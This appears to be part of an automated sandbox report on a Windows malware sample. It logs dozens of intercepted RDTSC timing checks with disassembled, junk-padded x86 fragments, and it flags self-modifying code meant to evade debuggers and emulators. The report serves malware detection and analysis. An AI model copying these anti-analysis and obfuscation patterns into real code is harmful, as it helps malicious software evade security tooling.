Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: EA0CCD second address: EA0D6C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F632C74B8E8h 0x0000000e nop 0x0000000f jnl 00007F632C74B8D8h 0x00000015 call 00007F632C74B8DDh 0x0000001a xor esi, 4C8E3582h 0x00000020 pop esi 0x00000021 push 00000000h 0x00000023 push 00000000h 0x00000025 push ebx 0x00000026 call 00007F632C74B8D8h 0x0000002b pop ebx 0x0000002c mov dword ptr [esp+04h], ebx 0x00000030 add dword ptr [esp+04h], 00000019h 0x00000038 inc ebx 0x00000039 push ebx 0x0000003a ret 0x0000003b pop ebx 0x0000003c ret 0x0000003d jc 00007F632C74B8DCh 0x00000043 and esi, 504C2731h 0x00000049 push 00000000h 0x0000004b push 00000000h 0x0000004d push edi 0x0000004e call 00007F632C74B8D8h 0x00000053 pop edi 0x00000054 mov dword ptr [esp+04h], edi 0x00000058 add dword ptr [esp+04h], 0000001Ch 0x00000060 inc edi 0x00000061 push edi 0x00000062 ret 0x00000063 pop edi 0x00000064 ret 0x00000065 sub esi, dword ptr [ebp+122D34AEh] 0x0000006b xchg eax, ebx 0x0000006c push edi 0x0000006d push eax 0x0000006e push edx 0x0000006f push eax 0x00000070 push edx 0x00000071 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: EA0D6C second address: EA0D70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: EA0D70 second address: EA0D74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: EA0D74 second address: EA0D88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 pushad 0x00000009 push ebx 0x0000000a jl 00007F632D23A036h 0x00000010 pop ebx 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: EA1672 second address: EA1687 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007F632C74B8DCh 0x0000000f rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: EA1687 second address: EA168C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E61DE0 second address: E61DEA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E61DEA second address: E61DEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E61DEE second address: E61DF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E61DF2 second address: E61E0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 ja 00007F632D23A03Eh 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E61E0F second address: E61E22 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F632C74B8DDh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: EA5EEB second address: EA5EEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: EA8A75 second address: EA8AC3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jmp 00007F632C74B8E7h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e mov ebx, 1E04D283h 0x00000013 push 00000000h 0x00000015 mov edi, dword ptr [ebp+122D23F4h] 0x0000001b push 00000000h 0x0000001d pushad 0x0000001e jmp 00007F632C74B8DDh 0x00000023 mov eax, dword ptr [ebp+122D37D9h] 0x00000029 popad 0x0000002a and di, 8696h 0x0000002f push eax 0x00000030 push ecx 0x00000031 pushad 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: EA99EE second address: EA9A03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jo 00007F632D23A036h 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 pushad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: EA9A03 second address: EA9A0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: EAAADE second address: EAAAE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: EAAAE4 second address: EAAAF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 jc 00007F632C74B8E2h 0x0000000d je 00007F632C74B8DCh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: EAB90B second address: EAB922 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jne 00007F632D23A036h 0x00000010 ja 00007F632D23A036h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: EAE87A second address: EAE884 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: EAE884 second address: EAE896 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jl 00007F632D23A044h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: EAE896 second address: EAE89A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: EAF8A7 second address: EAF8AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: EB1996 second address: EB19B4 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F632C74B8D6h 0x00000008 jmp 00007F632C74B8E0h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E52966 second address: E52982 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d jmp 00007F632D23A03Fh 0x00000012 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: EB3F58 second address: EB3F5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: EB3F5E second address: EB3FBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 add edi, 4AFFF43Ch 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push ecx 0x00000014 call 00007F632D23A038h 0x00000019 pop ecx 0x0000001a mov dword ptr [esp+04h], ecx 0x0000001e add dword ptr [esp+04h], 0000001Bh 0x00000026 inc ecx 0x00000027 push ecx 0x00000028 ret 0x00000029 pop ecx 0x0000002a ret 0x0000002b mov edi, edx 0x0000002d push 00000000h 0x0000002f jmp 00007F632D23A043h 0x00000034 xchg eax, esi 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007F632D23A03Eh 0x0000003c rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: EB3FBA second address: EB3FC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: EB6D69 second address: EB6D6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: EB6D6D second address: EB6D77 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F632C74B8D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: EB6D77 second address: EB6DF1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F632D23A046h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], eax 0x00000010 mov edi, 05E85A04h 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push esi 0x0000001a call 00007F632D23A038h 0x0000001f pop esi 0x00000020 mov dword ptr [esp+04h], esi 0x00000024 add dword ptr [esp+04h], 00000019h 0x0000002c inc esi 0x0000002d push esi 0x0000002e ret 0x0000002f pop esi 0x00000030 ret 0x00000031 or dword ptr [ebp+122D3502h], esi 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b push edx 0x0000003c call 00007F632D23A038h 0x00000041 pop edx 0x00000042 mov dword ptr [esp+04h], edx 0x00000046 add dword ptr [esp+04h], 0000001Bh 0x0000004e inc edx 0x0000004f push edx 0x00000050 ret 0x00000051 pop edx 0x00000052 ret 0x00000053 push eax 0x00000054 push eax 0x00000055 push edx 0x00000056 push ecx 0x00000057 push eax 0x00000058 push edx 0x00000059 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: EB6DF1 second address: EB6DF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: EA1E61 second address: EA1E65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: EA1E65 second address: EA1E6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: EB7E0F second address: EB7E15 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: EB7E15 second address: EB7E90 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jne 00007F632C74B8D6h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d call 00007F632C74B8E6h 0x00000012 pop ebx 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push ecx 0x00000018 call 00007F632C74B8D8h 0x0000001d pop ecx 0x0000001e mov dword ptr [esp+04h], ecx 0x00000022 add dword ptr [esp+04h], 00000015h 0x0000002a inc ecx 0x0000002b push ecx 0x0000002c ret 0x0000002d pop ecx 0x0000002e ret 0x0000002f jne 00007F632C74B8DBh 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push edi 0x0000003a call 00007F632C74B8D8h 0x0000003f pop edi 0x00000040 mov dword ptr [esp+04h], edi 0x00000044 add dword ptr [esp+04h], 00000018h 0x0000004c inc edi 0x0000004d push edi 0x0000004e ret 0x0000004f pop edi 0x00000050 ret 0x00000051 add ebx, dword ptr [ebp+122D389Fh] 0x00000057 xchg eax, esi 0x00000058 push ebx 0x00000059 push esi 0x0000005a push eax 0x0000005b push edx 0x0000005c rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: EB7E90 second address: EB7E9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: EB7E9C second address: EB7EB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F632C74B8E3h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: EB7EB4 second address: EB7EBB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: EB8DBD second address: EB8E4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pop edx 0x00000008 mov dword ptr [esp], eax 0x0000000b call 00007F632C74B8E3h 0x00000010 mov edi, 22C8CCBFh 0x00000015 pop ebx 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push ecx 0x0000001d call 00007F632C74B8D8h 0x00000022 pop ecx 0x00000023 mov dword ptr [esp+04h], ecx 0x00000027 add dword ptr [esp+04h], 0000001Bh 0x0000002f inc ecx 0x00000030 push ecx 0x00000031 ret 0x00000032 pop ecx 0x00000033 ret 0x00000034 pushad 0x00000035 movsx eax, bx 0x00000038 jmp 00007F632C74B8DAh 0x0000003d popad 0x0000003e jmp 00007F632C74B8E5h 0x00000043 xchg eax, esi 0x00000044 jmp 00007F632C74B8DBh 0x00000049 push eax 0x0000004a pushad 0x0000004b push eax 0x0000004c push edx 0x0000004d jmp 00007F632C74B8DFh 0x00000052 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: EA9B7A second address: EA9B95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F632D23A046h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: EA9B95 second address: EA9BA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F632C74B8DFh 0x00000009 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: EA9BA8 second address: EA9BAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: EAACEE second address: EAAD05 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jng 00007F632C74B8D6h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: EAC9CB second address: EAC9D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: EBDE43 second address: EBDE47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: EADAFA second address: EADAFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: EB218F second address: EB21CC instructions: 0x00000000 rdtsc 0x00000002 jo 00007F632C74B8EFh 0x00000008 jmp 00007F632C74B8E9h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F632C74B8E7h 0x00000017 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: EC33A7 second address: EC33AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: EC2B2A second address: EC2B30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: EC2B30 second address: EC2B36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: EC2B36 second address: EC2B3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: EB7045 second address: EB7049 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: EB80FB second address: EB8100 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: EB8100 second address: EB8106 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: EB8106 second address: EB810A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: EC74A4 second address: EC7500 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F632D23A048h 0x00000009 popad 0x0000000a jmp 00007F632D23A03Ch 0x0000000f popad 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 jp 00007F632D23A040h 0x0000001a pushad 0x0000001b js 00007F632D23A036h 0x00000021 push edi 0x00000022 pop edi 0x00000023 popad 0x00000024 mov eax, dword ptr [eax] 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F632D23A048h 0x0000002f rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: EC7500 second address: EC7504 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: EC7504 second address: EC750A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: EC750A second address: EC7520 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 ja 00007F632C74B8D6h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 pop eax 0x00000016 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: EC7662 second address: EC7668 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: ECED88 second address: ECED8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: ECED8E second address: ECED92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E5CC11 second address: E5CC21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnc 00007F632C74B8D6h 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E5CC21 second address: E5CC3E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F632D23A049h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E5CC3E second address: E5CC4E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: E5CC4E second address: E5CC56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: ECDA0D second address: ECDA20 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F632C74B8DEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: ECDA20 second address: ECDA2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: ECDA2C second address: ECDA46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F632C74B8E6h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: ECDA46 second address: ECDA8E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F632D23A045h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F632D23A049h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push edi 0x00000015 pop edi 0x00000016 jmp 00007F632D23A03Eh 0x0000001b rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: ECDFFE second address: ECE006 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: ECE006 second address: ECE022 instructions: 0x00000000 rdtsc 0x00000002 je 00007F632D23A03Ch 0x00000008 jo 00007F632D23A042h 0x0000000e jne 00007F632D23A036h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: ECE1F4 second address: ECE1F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: ECE3B6 second address: ECE3DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F632D23A036h 0x0000000a jmp 00007F632D23A042h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 ja 00007F632D23A036h 0x00000018 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: ECE3DB second address: ECE3ED instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a je 00007F632C74B8D6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: ECE3ED second address: ECE3F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: ECE3F1 second address: ECE3F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: ECE770 second address: ECE774 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: ECE774 second address: ECE792 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007F632C74B8E8h 0x0000000c jng 00007F632C74B8D6h 0x00000012 jmp 00007F632C74B8DCh 0x00000017 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5AF9B9 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 74DEB7 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 763BE0 instructions caused by: Self-modifying code
